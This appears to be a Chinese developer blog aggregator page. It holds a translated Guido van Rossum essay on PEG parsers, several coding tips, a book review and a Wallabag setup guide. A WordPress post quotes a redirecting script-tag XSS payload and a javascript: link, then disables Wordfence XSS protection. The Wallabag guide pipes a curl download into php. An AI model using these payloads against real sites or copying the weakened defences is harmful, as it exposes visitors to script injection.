例如,该网页所称的的左分解(将 A -> X | X Y Z 替换成 A -> X B; B -> Y Z | <empty>),我会重写成 A -> X [Y Z]。
如果我没记错,通过“正则表达式 -> NFA -> DFA”的转换过程,解析引擎(该网页中前面的 syntacticAnalysis 函数)依然可以工作在由这些规则所派生的解析表上;我认为这里需要有不出现空白产物的诉求。(译注:“空白产物”,原文是 empty productions,对应的是前文的 <empty>,指的是不必要出现 empty。)
我还想起一点,由解析引擎生成的解析树节点可能有很多子节点,例如,对于上面的规则 A -> X [Y Z],节点 A 可能有 1 个子节点(X)或者 3 个(X Y Z)。代码生成器中就需要有一个简单的检查,来确定它遇到的是哪一种可能的情况。(这已经被证明是一把双刃剑,后来我们添加了一个由单独的生成器所驱动的“解析树 -> AST”步骤,以简化字节码生成器。)
所以我使用正则表达式的原因,很可能是为了使语法更易于阅读:在使用了必要的重写以解决冲突之后,我发现语法不是那么可读(此处应插入《Python 之禅》的说法 :-) ,而正则表达式则更符合我对于经典语言的语法的看法(除了起着奇怪名字的帮助规则、[optional] 部分以及 * 号重复的部分)。
正则表达式没有提高 LL(1) 的能力,更没有降低它的能力。当然了,所谓“正则表达式”,我想说的其实是 EBNF ——我不确定 “EBNF” 在当时是否是一个被明确定义了的符号,它可能就指对 BNF 的任意扩展。
假如将 EBNF 转换为 BNF,再去使用它,将会导致尴尬的多解析树节点问题,所以我不认为这会是一种改进。
如果让我重做一遍,我可能会选择一个更强大的解析引擎,可能是 LALR(1) 的某个版本(例如 Yacc/Bison)。LALR(1) 的某些地方要比 LL(1) 更给力,也更加有用,例如,关键字参数。
在 LL(1) 中,规则 “arg: [NAME =] expr” 无效,因为 NAME 出现在了表达式的第一组里(FIRST-set),而 LL(1) 算法没法处理这样的写法。
如果我没记错,LALR(1) 则可以处理它。但是,在我写完 pgen 的第一个版本的好些年之后,关键字参数写法才出现,那时候我已不想重做解析器了。
2019 年 3 月更新: Python 3.8 将删除 pgen 的 C 版本,转而使用重写的 pgen2 版本。请参阅 https://github.com/python/cpython/pull/11814
(译注:感觉可以帮 Guido 再加一条“更新”了,目前他正在研究 PEG 解析器,将会作为 pgen 的替代。详情请看《Python之父新发文,将替换现有解析器》)

July 29, 2019 12:00 AM

July 27, 2019

pythoncat

Python 之父新发文,将替换现有解析器

Guido van Rossum 是 Python 的创造者,虽然他现在放弃了“终身仁慈独裁者”的职位,但却成为了指导委员会的五位成员之一,其一举一动依然备受瞩目。近日,他开通了 Medium 账号,并发表了第一篇文章,透露出要替换 Python 的核心部件(解析器)的想法。这篇文章分析了当前的 pgen 解析器的诸多缺陷,并介绍了 PEG 解析器的优点,令人振奋。这项改造工作仍在进行中,Guido 说他还会写更多相关的文章,我们就拭目以待吧。

原题 | PEG Parsers
作者 | Guido van Rossum(Python之父)
译者 | 豌豆花下猫(“Python猫”公众号作者)
声明 | 翻译是出于交流学习的目的,欢迎转载,但请保留本文出处,请勿用于商业或非法用途。
几年前,有人问 Python 是否会转换用 PEG 解析器(或者是 PEG 语法,我不记得确切内容、谁说的、什么时候说的)。我稍微看过这个主题,但没有头绪,就放弃了。
最近,我学了很多关于 PEG(Parsing Expression Grammars)的知识,如今我认为它是个有趣的替代品,正好替换掉我在 30 年前刚开始创造 Python 时自制的(home-grown)语法分析生成器(parser generator)(那个语法分析生成器,被称为“pgen”,是我为 Python 写下的第一段代码)。
我现在感兴趣于 PEG,原因是对 pgen 的局限性感到有些恼火了。
它使用了我自己写的 LL(1) 解析的变种——我不喜欢可以产生空字符串的语法规则,所以我禁用了它,进而稍微地简化了生成解析表的算法。
同时,我还发明了一套类似 EBNF 的语法符号(译注:Extended Backus-Naur Form,BNF 的扩展,是一种形式化符号,用于描述给定语言中的语法),至今仍非常喜欢。
以下是 pgen 令我感到烦恼的一些问题。
LL(1) 名字中的 “1” 表明它只使用单一的前向标记符(a single token lookahead),而这限制了我们编写漂亮的语法规则的能力。例如,一个 Python 语句(statement)既可以是表达式(expression),又可以是赋值(assignment)(或者是其它东西,但那些都以 if 或 def 这类专用的关键字开头)。
我们希望使用 pgen 表示法来编写如下的语法。(请注意,这个示例描述了一种玩具语言(toy language),它是 Python 的一个微小的子集,就像传统中的语言设计一样。)
statement: assignment | expr | if_statement
expr: expr '+' term | expr '-' term | term
term: term '*' atom | term '/' atom | atom
atom: NAME | NUMBER | '(' expr ')'
assignment: target '=' expr
target: NAME
if_statement: 'if' expr ':' statement
关于这些符号,解释几句:NAMENUMBER 是标记符(token),预定义在语法之外。引号中的字符串如 ’+’ 或 ‘if’ 也是标记符。(我以后会讲讲标记符。)语法规则以其名称开头,跟在后面的是 : 号,再后面则是一个或多个以 | 符号分隔的可选内容(alternatives)。
但问题是,如果你这样写语法,解析器不会起作用,pgen 将会罢工。
其中一个原因是某些规则(如 exprterm)是左递归的,而 pgen 还不足以聪明地解析。这通常需要通过重写规则来解决,例如(在保持其它规则不变的情况下):
expr: term ('+' term | '-' term)*
term: atom ('*' atom | '/' atom)*
这就揭示了 pgen 的一部分 EBNF 能力:你可以在括号内嵌套可选内容,并且可以在括号后放 * 来创建重复,所以这里的 expr 规则就意味着:它是一个术语(term),跟着零个或多个语句块,语句块内是加号跟术语,或者是减号跟术语。
这个语法兼容了第一个版本的语言,但它并没有反映出语言设计者的本意——尤其是它并没有表明运算符是左绑定的,而这在你尝试生成代码时非常重要。
但是在这种玩具语言(以及在 Python)中,还有另一个烦人的问题。
由于前向的单一标记符,解析器无法确定它查看的是一个表达式的开头,还是一个赋值。在一个语句的开头,解析器需要根据它看到的第一个标记符,来决定它要查看的 statement 的可选内容。(为什么呢?pgen 的自动解析器就是这样工作的。)
假设我们的程序是这样的:
answer = 42
这句程序会被解析成三个标记符:NAME (值是 answer),‘=’ 和 NUMBER (值为 42)。在程序开始时,我们拥有的唯一的前向标记符是 NAME 。此时,我们试图满足的规则是 statement (这个语法的起始标志)。此规则有三个可选内容:exprassignment 以及 if_statement 。我们可以排除if_statement ,因为前向标记符不是 “if”。
但是 exprassignment 都能以 NAME 标记符开头,因此就会引起歧义(ambiguous),pgen 会拒绝我们的语法。
(这也不完全正确,因为语法在技术上并不会导致歧义;但我们先不管它,因为我想不到更好的词来表达。那么 pgen 是如何做决定的呢?它会为每条语法规则计算出一个叫做 FIRST 组的东西,如果在给定的点上,FIRST 组出现了重叠选项,它就会抱怨)(译注:抱怨?应该指的是解析不下去,前文译作了罢工)。
那么,我们能否为解析器提供一个更大的前向缓冲区,来解决这个烦恼呢?
对于我们的玩具语言,第二个前向标记符就足够了,因为在这个语法中,assignment 的第二个标记符必须是 “=”。
但是在 Python 这种更现实的语言中,你可能需要一个无限的前向缓冲,因为在 “=” 标记符左侧的东西可能极其复杂,例如:
table[index + 1].name.first = 'Steven'
在 “=” 标记符之前,它已经用了 10 个标记符,如果想挑战的话,我还可以举出任意长的例子。为了在 pgen 中解决它,我们的方法是修改语法,并增加一个额外的检查,令它能接收一些非法的程序,但如果检查到对左侧的赋值是无效的,则会抛出一个 SyntaxError
对于我们的玩具语言,这可归结成如下写法:
statement: assignment_or_expr | if_statement
assignment_or_expr: expr ['=' expr]
(方括号表示了一个可选部分。)然后在随后的编译过程中(比如,在生成字节码时),我们会检查是否存在 “=”,如果存在,我们再检查左侧是否有 target 语法。
在调用函数时,关键字参数也有类似的麻烦。我们想要写成这样(同样,这是 Python 的调用语法的简化版本):
call: atom '(' arguments ')'
arguments: arg (',' arg)*
arg: posarg | kwarg
posarg: expr
kwarg: NAME '=' expr
但是前向的单一标记符无法告诉解析器,一个参数的开头中的 NAME 到底是 posarg 的开头(因为 expr 可能以 NAME 开头)还是 kwarg 的开头。
同样地,Python 当前的解析器在解决这个问题时,是通过特别声明:
arg: expr ['=' expr]
然后在后续的编译过程中再解决问题。(我们甚至出了点小错,允许了像 foo((a)=1) 这样的东西,给了它跟 foo(a=1) 相同的含义,直到 Python 3.8 时才修复掉。)
那么,PEG 解析器是如何解决这些烦恼的呢?
通过使用无限的前向缓冲!PEG 解析器的经典实现中使用了一个叫作“packrat parsing”(译注:PackRat,口袋老鼠)的东西,它不仅会在解析之前将整个程序加载到内存中,而且还能允许解析器任意地回溯。
虽然 PEG 这个术语主要指的是语法符号,但是以 PEG 语法生成的解析器是可以无限回溯的递归下降(recursive-descent)解析器,“packrat parsing”通过记忆每个位置所匹配的规则,来使之生效。
这使一切变得简单,然而当然也有成本:内存。
三十年前,我有充分的理由来使用单一前向标记符的解析技术:内存很昂贵。LL(1) 解析(以及其它技术像 LALR(1),因 YACC 而著名)使用状态机和堆栈(一种“下推自动机”)来有效地构造解析树。
幸运的是,运行 CPython 的计算机比 30 年前有了更多的内存,将整个文件存在内存中确实已不再是一个负担。例如,我能在标准库中找到的最大的非测试文件是 _pydecimal.py ,它大约有 223 千字节(译注:kilobytes,即 KB)。在一个 GB 级的世界里,这基本不算什么。
这就是令我再次研究解析技术的原因。
但是,当前 CPython 中的解析器还有另一个 bug 我的东西。
编译器都是复杂的,CPython 也不例外:虽然 pgen-驱动的解析器输出的是一个解析树,但是这个解析树并不直接用作代码生成器的输入:它首先会被转换成抽象语法树(AST),然后再被编译成字节码。(还有更多细节,但在这我不关注。)
为什么不直接从解析树编译呢?这其实正是它最早的工作方式,但是大约在 15 年前,我们发现编译器因为解析树的结构而变得复杂了,所以我们引入了一个单独的 AST,还引入了一个将解析树翻译成 AST 的环节。随着 Python 的发展,AST 比解析树更稳定,这减少了编译器出错的可能。
AST 对于那些想要检查(inspect)Python 代码的第三方代码,也更加容易,它还通过被大众欢迎的 ast 模块而公开。这个模块还允许你从头构建 AST 节点,或是修改现有的 AST 节点,然后你可以将新的节点编译成字节码。
后一项能力支撑起了一整个为 Python 语言添加扩展的家庭手工业(译注:ast 模块为 Python 的三方扩展提供了便利)。(借助 parser 模块,解析树同样能面向 Python 的用户开放,但它使用起来太麻烦了,因此相比于 ast 模块,它就过时了。)
综上所述,我现在的想法是看看能否为 CPython 创造一个新的解析器,在解析时,使用 PEG 与 packrat parsing 来直接构建 AST,从而跳过中间解析树结构,并尽可能地节省内存,尽管它会使用无限的前向缓冲。
我还没进展到这个地步,但已经有了一个原型,可以将一个 Python 的子集编译成一个 AST,其速度与当前 CPython 的解析器大致相当。只不过,它占用的内存更多,所以我预计在将它扩展到整个语言时,将会降低 PEG 解析器的速度。
但是,我还没去优化它,所以还是挺有希望的。
转换成 PEG 的最后一个好处是它为语言的未来演化提供了更大的灵活性。
过去有人曾说,pgen 的 LL(1) 缺陷帮助了 Python 保持语法的简单。这很有道理,但我们还有很多适当的流程,可以防止语言不受控制地膨胀(主要是 PEP 流程,在非常严格的向后兼容性要求以及新的治理结构的帮助下)。所以我并不担心。
我还有很多内容要写,关于 PEG 解析以及我的具体实现,但是要等我整理好代码后,在后续的文章中再去写了。

July 27, 2019 12:00 AM

July 22, 2019

chengweiyang

在 kernel 代码中用 ctrlp 插件

ctrlp vim 插件是一个可以快速打开文件的工具,输入部分文件名,就能自动找到,然后快速选择打开, 不用退出 vim 去找文件然后打开,相比 NERD Tree 这种文件浏览的插件也更方便。

但是,默认情况下 ctrlp 可能找不到你想要的文件,因为默认只会展示 10 个搜索结果,而想要的文件可能不在这 10 个里。

例如,要打开 fs/aio.c,默认的结果如下:

ctrlp result

很显然不是想要的结果。

这里有两个办法:

  1. 增加搜索的结果,默认是 10,增加到 100 就能满足需求,如果在增加,会感觉到明显变慢,因为每次搜索的量更大了

     let g:ctrlp_match_window = 'bottom,order:btt,min:1,max:10,results:100'
    
  2. 使用正则匹配,可以添加配置

     let g:ctrlp_regexp = 1
    

    或者,在 ctrlp 界面,按 c-r 组合键来切换。

July 22, 2019 04:00 PM

July 18, 2019

spiritx

记一次小站评论功能的修改

缘由

久没上我的测试站点,发现多了不少评论(明明我从来没公开过链接,却还是被扫到了 :黑线: ),其中一条引起我的注意: ***<script>alart(*****);</script>;*****<script>window.location.href='http://*****';</script>******,打开评论所在页面一看,果然是 xss攻击 。测试站点没有装Wordfence,所以才让攻击者有可承之机,但我平时不会开放测试站的访客访问,多装一个Wordfence很浪费资源,于是我决定修改下评论功能。小站评论框上方一直有这样一句话 Markdown Supported while </> Forbidden,但实际上评论html也是可以解析的,我觉得从这入手比较好,正巧Sakura主题评论插入图片的方式使用的是安全的BBCode,如果再加入仅允许Markdown评论的功能,那绝大多数XSS就直接被干掉了 :酷2: 。话不多说,下面记录下我的修改过程。

评论使用Ajax

此条为必须,采用Ajax提交评论可以在评论内容写入数据库之前再对评论进行一次检查。Sakura已自带Ajax评论,所以此步省略,Ajax评论引入也很简单,如需了解更多,参考这位大佬写的 WordPress Ajax 提交评论的实现,简单易懂。

过滤无效邮箱

WordPress自带了一个检查评论者邮箱是否为正常邮箱的功能,所以我不再重复添加了。这里主要是验证邮箱是否有效,用到的是 checkdnsrr() 函数,查询评论者邮箱的所属域名有没有MX记录,使用方法如下:
以Sakura主题为例,检查Ajax传入的评论参数 $incoming_comment ,得到评论邮箱 $incoming_comment['comment_author_email'] ,使用 explode()array_pop() 函数得到邮箱域名,再用 checkdnsrr() 函数函数检查域名DNS解析中有无 MX 记录。代码如下:

function spirit_comment_check($incoming_comment) {
    if(checkdnsrr(array_pop(explode("@",$incoming_comment['comment_author_email'])),"MX") === false)
        siren_ajax_comment_err('邮箱写错啦(→_→)<br>Oops,Invalid email!');
    return( $incoming_comment );
}
if(!is_user_logged_in())
    add_filter( 'preprocess_comment', 'spirit_comment_check' );

禁止html代码

我使用的WP-Editor.md插件,支持评论Markdown,所以无需再引入其他文件来解析评论中的Markdown,那么重点就在如何禁止评论使用HTML标签。PHP自带了一个 strip_tags() 函数,可以把字符串中的HTML标签全部过滤掉,于是就有了下面的代码。

function spirit_comment_check($incoming_comment) {
    if(checkdnsrr(array_pop(explode("@",$incoming_comment['comment_author_email'])),"MX") === false) {
        siren_ajax_comment_err('邮箱写错啦(→_→)<br>Oops,Invalid email!');
    }else{
        if($incoming_comment['comment_content'] != strip_tags($incoming_comment['comment_content'])){
            siren_ajax_comment_err('评论只支持Markdown啦,见谅╮( ̄▽ ̄)╭<br>Markdown Supported while <i class="fa fa-code" aria-hidden="true"></i> Forbidden');
        }
    }
    return( $incoming_comment );
}
if(!is_user_logged_in())
    add_filter( 'preprocess_comment', 'spirit_comment_check' );

但这又有个问题,如果评论者输入的代码块中,包含了 < 的HTML标签,那么就不能提交,于是我又想到一个办法,去掉评论内容中的代码块之后再检查有无HTML标签,下面是修改版:

function spirit_comment_check($incoming_comment) {
    $re = '/```([\s\S]*?)```[\s]*|`{1,2}[^`](.*?)`{1,2}|\[.*?\]\([\s\S]*?\)/m';
    if(checkdnsrr(array_pop(explode("@",$incoming_comment['comment_author_email'])),"MX") === false) {
        siren_ajax_comment_err('邮箱写错啦(→_→)<br>Oops,Invalid email!');
    }else{
        if(preg_replace($re,'temp',$incoming_comment['comment_content']) != strip_tags(preg_replace($re,'temp',$incoming_comment['comment_content']))){
            siren_ajax_comment_err('评论只支持Markdown啦,见谅╮( ̄▽ ̄)╭<br>Markdown Supported while <i class="fa fa-code" aria-hidden="true"></i> Forbidden');
        }
    }
    return( $incoming_comment );
}
if(!is_user_logged_in())
    add_filter( 'preprocess_comment', 'spirit_comment_check' );

正则解释如下:
```([\s\S]*?)```[\s]*过滤掉代码片段,`{1,2}[^`](.*?)`{1,2}过滤掉行内代码,\[.*?\]\([\s\S]*?\)过滤掉链接,因为有时候链接标题也会带 < 字符。开始我也担心过滤掉链接会增加被XSS攻击的风险(类似于 [Click Me](javascript:alert(***)) 这样的语句),但发现WordPress的kses会自动转义这样的语句,所以就放心使用啦~

打开评论HTML标签限制

完成之后我使用访客模式打开了小站,测试评论功能时发现一个问题,评论部分Markdown格式不能转换,比如:

/**
* nth element in the fibonacci series.
* @param n >= 0
* @return the nth element, >= 0.
*/
function fib(n) {
  var a = 1, b = 1;
  var tmp;
  while (--n >= 0) {
    tmp = a;
    a += b;
    b = tmp;
  }
  return a;
}
document.write(fib(10));

正常情况下会解析为

<pre><code class="language-javascript ">
/**
* nth element in the fibonacci series.
* @param n >= 0
* @return the nth element, >= 0.
*/
function fib(n) {
  var a = 1, b = 1;
  var tmp;
  while (--n >= 0) {
    tmp = a;
    a += b;
    b = tmp;
  }
  return a;
}
document.write(fib(10));
</code></pre>

但WP-Editor.md将其解析为了

<code>
/**
* nth element in the fibonacci series.
* @param n >= 0
* @return the nth element, >= 0.
*/
function fib(n) {
  var a = 1, b = 1;
  var tmp;
  while (--n >= 0) {
    tmp = a;
    a += b;
    b = tmp;
  }
  return a;
}
document.write(fib(10));
</code>

这样的话代码高亮就失效了,体验很是不好。此外还有标题、表格、列表等也不会解析...我反复检查了插件,又翻了不少WordPress的Hook,把插件改了又改,始终没有修复这个Bug(主要还是我太菜了 :捂脸: ,最终只能从修改WordPress限制入手了,将下面代码加到functions.php

//打开评论HTML标签限制
function allow_more_tag_in_comment() {
    global $allowedtags;
    $allowedtags['pre'] = array('class'=>array());
    $allowedtags['code'] = array('class'=>array());
    $allowedtags['h1'] = array('class'=>array());
    $allowedtags['h2'] = array('class'=>array());
    $allowedtags['h3'] = array('class'=>array());
    $allowedtags['h4'] = array('class'=>array());
    $allowedtags['h5'] = array('class'=>array());
    $allowedtags['ul'] = array('class'=>array());
    $allowedtags['ol'] = array('class'=>array());
    $allowedtags['li'] = array('class'=>array());
    $allowedtags['td'] = array('class'=>array());
    $allowedtags['th'] = array('class'=>array());
    $allowedtags['tr'] = array('class'=>array());
    $allowedtags['table'] = array('class'=>array());
    $allowedtags['thead'] = array('class'=>array());
    $allowedtags['tbody'] = array('class'=>array());
    $allowedtags['span'] = array('class'=>array());
}
add_action('pre_comment_on_post', 'allow_more_tag_in_comment');

我添加了部分常用的标签,如果后续遇到不能解析的可尝试在里面继续加入更多标签。最后关闭Wordfence的xss防护,防止不能提交带有 <script 的代码块。
以上就是本次的修改历程,你有什么看法或者是对文中功能的优化吗?欢迎在评论区与我探讨。 :喝茶:

by Spirit at July 18, 2019 04:30 PM

July 15, 2019

anji66

钉钉微应用控制页面返回

所谓某些场景,算了,不描述了,总之总有那么几种需求让你的业务只能前进不能后退,这个页面完成进入下一个页面,想退回来,没门。微应用就是个HTML5的页面,被载入到了钉钉内置浏览器而已。所以控制页面返回无需后端判断,前端页面直接控制就可以。知道怎么做就容易了,去翻钉钉文档的前端API,本想着迎刃而解,不料,IOS是迎刃而解,安卓却了成程咬金杀将了出来。



钉钉文档前端API部分

直接看图吧,钉钉的文档中很明显的表示安卓端如果要阻止后退的话,需要调用事件回调函数。IOS可以直接阻止。这特么就尴尬了,前端可以做的事情非要后端插一脚。

未标题-1.jpg


集成安卓端的阻止控制

博主前端能力是战斗力只有5的渣渣,尝试了下日常所用的阻止发现在我的米6上不生效,部分其它安卓机可以,这就不得度娘一番,最终找到了这串代码,顺道和ios的集成到一起算了,看代码。

未标题-2.jpg


学习下安卓端的这段代码

1、history.pushState()这个方法是html5的新特性,一并出现的还有一个history.replaceState()方法。使用 history.pushState()后,会改变 XMLHttpRequest 请求时 HTTP header头中 referrer 的值。referrer 记录了当前页面文件(this)的 URL。

2、document.URL是通过js获取当前的页面地址。

3、addEventListener()方法是向指定的事件添加一个句柄。

4、popstate事件,当历史记录被更改的时候将会触发pushState事件。如果历史记录是由history.pushState()创建的或者对history.replaceState()的调用产生影响,popstate事件的state属性就包含了上述对象的副本。



by 西枫里 at July 15, 2019 02:00 AM

pythoncat

小型的编程项目有哪些值得推荐?这本神书写了 22 个,个个了不得

今天,猫哥要推荐一本非常著名的开源书籍:《500 Lines or Less》。
在开始正题之前,先介绍一下它所属的系列。该系列叫 AOSA,是“The Architecture of Open Source Applications”的简称,即“开源程序的体系结构”,目前有四本书,本期主角是最近的一本(发布于 2016.7.12)。
这个系列最初的目的是:研究那些优秀的开源项目,从中吸取精华的实践经验。
在前三本书中,研究对象已多达 50 几个,其中不乏名头响亮者,例如 Eclipse、Selenium、Git、matplotlib、nginx、Puppet、Pypy、SQLAlchemy 与 Twisted 等等。
每个章节的作者都是开源软件的核心参与者,介绍了项目是如何设计的、为什么这样设计、主要的组成部分是什么、各模块间如何互动、开发中的优秀成果有哪些……
这些书拆解了开源界的明星项目,通过阅读,你能了解到开源作者们的思考方式,了解到各类困难问题的解决方案,学习使用现成的轮子。所谓见多识广,学习吸取经验,有望“站在巨人的肩膀上”。
但是,这几本书主要偏向于架构和工程方面,项目代码量基本是几千上万行,对于初级程序员来说不够实用,想要吃透,挑战性太大。
针对这个问题,该系列新出了一本《500 Lines or Less》,专注于 500 行或更少代码的小型项目。
关注编写代码时所作出的设计决定与权衡
  • 为什么要使用一些接口将应用程序分成不同的模块?
  • 为什么在这里使用继承,在别处使用封装?
  • 如何预测程序的扩展,如何让其他程序员轻松实现?
简而言之,这本书聚焦于一些相对较小但又很具代表性的课题,并通过 500 行以内的代码来实现它。
书中写了 22 个项目,下面逐一简介:
1、Blockcode: A visual programming toolkit(可视化编程工具包)
使用语言:HTML、CSS、JavaScript
该项目基于开源的 Waterbear 工具,提供可视化的操作界面,通过简单而直观的交互方式,实现图形编程。
2、A Continuous Integration System(持续集成系统)
使用语言:Python 2
CI 是软件开发中重要的持续集成系统,保障新功能的稳定实现。这个项目介绍了 CI 系统的工作原理,并尝试构建自己的 CI 系统,实现监听器、测样例调度器和测试运行器。
3、Clustering by Consensus(分布式系统)
使用语言:Python
探索如何实现一个网络协议,用于可靠的分布式计算。为了解决共识性问题,使用了 Paxos 算法的衍生 Multi-Paxos。学习这个项目,能接触很多分布式的知识。
4、Contingent: A Fully Dynamic Build System(动态构建系统)
使用语言:Python
构建系统(build system)用于将源代码生成用户可用的目标(如库、可执行文件、脚本等),常见的有 GNU Make、CMake、Apache Ant 等。Python 中的 PyInstaller 也是构建系统的一种。本项目实现了一个构建系统,且试图对“动态交叉引用”问题提出一个解决方案。
5、A Web Crawler With asyncio Coroutines(使用协程实现的爬虫)
使用语言:Python
作者之一是 Python 之父(Guido van Rossum),使用标准库 asyncio 实现异步的网页爬虫。(学习爬虫者必看)
6、Dagoba: an in-memory graph database(内存中的图形数据库)
使用语言:JavaScript
图形数据库是 NoSQL 数据库的一种,使用图形理论来存储实体间的关系。这个项目介绍了图形数据库要解决的几个问题,然后将它实现。
7、DBDB: Dog Bed Database(狗床数据库)
使用语言:Python
用 Python 实现一个简单的键值对存储数据库(key/value database),其特点是在电脑崩溃或程序出错时,也能保证数据的安全。学习这个项目,可以掌握关于数据库的一些核心特性,例如原子性(atomicity)、一致性(consistency)、独立性(isolation)和持久性(durability)。
8、An Event-Driven Web Framework(事件驱动的Web框架)
使用语言:Common Lisp
构建一个以事件驱动的 Web 框架,使用 HTTP 做通信协议。
9、A Flow Shop Scheduler(流水车间调度器)
使用语言:Python 2
流水车间调度问题是查找最优解问题的一种,本项目基于局部搜索(local search)方法,实现流水车间调度器。
10、An Archaeology-Inspired Database(受考古学启发的数据库)
使用语言:Clojure
主流的数据库是面向空间编程 (place-oriented programming),即在更新数据的时候,新数据会占据老数据的空间。本项目开了个脑洞,用考古学家的视角设计数据库,记录数据的所有变化轨迹,更新数据时并不删除老数据。最终实现代码仅 360 行,作者称这个数据库为CircleDB
11、Making Your Own Image Filters(图片滤镜)
使用语言:Java
Processing 是一种用 Java 构建的开发环境,本项目介绍了它的特性与配置,并最终实现自己的滤镜 APP。功能比较简单,但实现过程涉及很多图像处理的内容。
12、A Python Interpreter Written in Python(Python解释器)
使用语言:Python
它的结构跟 CPython 解释器差不多,作者命其名为 Byterun。 文中详细讲解了解释器的工作原理,跟着学习,将极有帮助。
13、A 3D Modeller(3D建模)
使用语言:Python
3D 图形化编程,使用到了 OpenGL 来渲染图形。
14、A Simple Object Model(对象模型)
使用语言:Python
当今最主流的编程范式依然是面向对象编程,而它的核心则是对象模型。编写一些简单的对象模型可以更好地理解现有语言的内部工作原理,并且深入地了解面向对象语言的设计理念。
15、Optical Character Recognition (OCR,光学字符识别)
使用语言:Python、JavaScript、HTML
基于人工神经网络(ANNs)实现的简单 OCR 系统,并设计了一个 Web 客户端。
16、A Pedometer in the Real World(现实计步器)
使用语言:Ruby
计步器的设计依据是什么,如何在现实世界中把它实现呢?该文回答了这个问题,它还设计了一个友好的 Web 界面。
17、The Same-Origin Policy(同源策略)
使用语言:Alloy
同源策略(SOP)是当今浏览器中安全机制的重要组成部分,用于控制浏览器中脚本间的通信。文中使用 Alloy(一种用于建模与分析软件设计的语言)来构建一个可执行的 SOP 模型。
18、A Rejection Sampler(采样器)
使用语言:Python
“采样”是指从一些概率分布中生成随机数,文中介绍了如何从非标准的概率分布里进行采样,以及如何计算样本在分布里对应的概率。
19、Web Spreadsheet(Web 电子表格)
使用语言:HTML、CSS、JS
电子表格是办公软件的必备,我们最熟知的是微软的 Excel。文中用 AngularJS 框架来实现一个简单的 Web 电子表格,所用代码仅 99 行。效果可在这查看:https://audreyt.github.io/500lines/spreadsheet
20、Static Analysis(静态分析)
使用语言:Julia
“静态分析”指的是在不运行代码的情况下检查代码(类型、格式、编码规范等等),这项工作通常是由各种 IDE 编辑器来完成。本项目使用 Julia,实现了一些基本的静态分析功能。
21、A Template Engine(模板引擎)
使用语言:Python
“模板引擎”是 Web 开发中很重要的东西,支持将用户界面与实际业务数据分离,通过它可生成标准的 HTML 文档。文中所用的模板引擎语法基于 Django,总代码量仅 262 行。
22、A Simple Web Server(Web服务器)
使用语言:Python、HTML
实现了一个简单的 Web 服务器,主要使用了标准库中的 BaseHTTPServer 。另外,它还介绍了 CGI(通用网关接口) 协议,给服务器实现了运行外部程序的功能。
所有项目介绍完毕。可以看出,22 个项目中有 13 个使用了 Python,占60%,难怪网上有些不明真相的同学直呼它是“一本Python神书”。
有些项目初看的话,你难以想象只需不到 500 行代码就能实现,但是经过必要的问题裁剪,并使用恰当的现成轮子(开源库、工具、框架等),就能取得简单的成果。
与之相对的,不要以为 500 行以内的项目就很简单。每个项目的作者都大有来头(连 Python 之父都亲自上阵啦),文章中写到的技术背景、实现原理以及设计思路,全都值得仔细研读(很多还不一定能读懂)。
这本书是开源的,在官网上可以免费阅读。它还配套了 Github 仓库,存放了完整的项目代码,目前已经获得 20000 多颗星星啦。
Github 上有对它的中文翻译计划,但是翻译者寥寥,只有 10 几篇翻译了出来,翻译质量还不敢恭维。
不管如何,这么优质而诚意十足的开源书籍,非常值得推荐!作为咱们 Python 猫荐书系列的第八期,也非常合适。
最后附上该书在开篇中的寄语:

We hope that the experiences of the authors in this book will help you grow out of your comfort zone in your own programming practice.

我们希望本书作者的经验能够帮助您在自己的编程实践中成长。

相关链接:

July 15, 2019 12:00 AM

July 14, 2019

anji66

TP5一个volist数据如何拆分嵌套循环

因前端的需要,后台的一个数据集在前台需要做拆分嵌套查询,而TP5的volist虽然可以输出指定部分数据,但是却无法自动进行拆分动作。关于offset不能使用变量的问题,在很久之前的一篇水文里面提过,具体看这里:https://www.anji66.net/article/id/51.html。而这次,又碰到前端给我出了一个这样的问题,因为前端的效果没有合适的展现方式,必须先循环ul,在ul中循环12个li后跳出,将余下的数据再循环ul,以此类推。这就很尴尬了,管理后台上用户上传的数据会不断更新,而使用offset静态参数的话,无法准确控制后面的循环。


先来下后端的数据查询

思路:先查询数据集然后进行计数,再将计数进一取整,然后根据取整数进行数据集拆分重组,最后返回给前台。这里用到进一取整函数ceil(),然后是拆分数组函数array_chunk()。因为需要拆分查询结果,所以第一步就不单独做count聚合查询了。直接上图吧。

未标题-1.jpg


前台循环

前台我直接用foreach循环了,当然这时候继续使用volist也可以的。自便吧,直接上个示例吧

未标题-2.jpg


逻辑很简单,后台构造好以后可以dump下结构看看,前台就一目了然了,水文结束,匿了~


by 西枫里 at July 14, 2019 01:35 AM

July 07, 2019

spiritx

使用Wallabag自建稍后阅读服务

前言

果你使用过Firefox,那么你对Pocket一定不陌生。与Pocket类似,Wallabag是用来保存网页的开源自托管应用,主要功能就是将要阅读或者一时没有读完的文章同步到Wallabag服务器,供使用者在以后阅读。更多信息请访问官网 https://wallabag.org/ 。当然如果你没有自己的服务器,可以考虑使用 wallabag.it 托管解决方案。
我平时在网上阅读到有意思或者没读完的文章时,一般会保存在Chrome的书签或者直接收藏在Telegram,虽然同步是可以同步,但感觉还是有点别扭,Google一番终于找到了这个神器,我已经将它作为稍后阅读的生产力工具使用。同时,也可以将书签存在上面。虽然Wallabag在配置难度、界面体验上与一些商业软件相比略有逊色,但依然值得一试。
Wallabag具有以下特性:

  • 开源 PHP 程序,易托管,github地址:https://github.com/wallabag/wallabag
  • 界面美观,易于阅读
  • 浏览器插件 - 一键保存网页到服务
  • 开放的 API - 可以根据 API 自由编写客户端
  • 迁移 - 从 Pocket, Readability, Instapaper 或 Pinboard 服务导入数据
  • 导出 - 可以导出文章到 epub, mobi, pdf 等格式
  • 随处可用 - 由于是 Web 服务,可以在使用浏览器的系统上使用,同时支持 Android 客户端
  • RSS 阅读器兼容
  • 保存网页不受源限制,源网页删除后依旧可以阅读

先来一张完成图:

ps:搭建Wallabag之前请配置好相关环境,博主所用系统为Debian 9 ,已安装了 OneinStack

安装comopser

curl -s https://getcomposer.org/installer | php

之后可以就通过 php composer.phar 来运行composer了

OneinStack安装php扩展

请阅读 文档 以查看 Wallabag 安装依赖。
我是用的 OneinStack,与apt不同,这里以安装tidy为例

apt install libtidy-dev ## 必须库
cd /root/oneinstack/src
tar zxvf php-7.3.5.tar.gz  ## 解压已经安装的php版本
cd php-7.3.5/ext/tidy
/usr/local/php/bin/phpize
./configure --with-php-config=/usr/local/php/bin/php-config
make && make install
cd /usr/local/php/lib/php/extensions
ls  ## 看到no-debug-non-zts-20180731类似文件夹
cd no-debug-non-zts-20180731
ls  ## 查看有没有 tidy.so,如果有,证明编译成功
加载 tidy
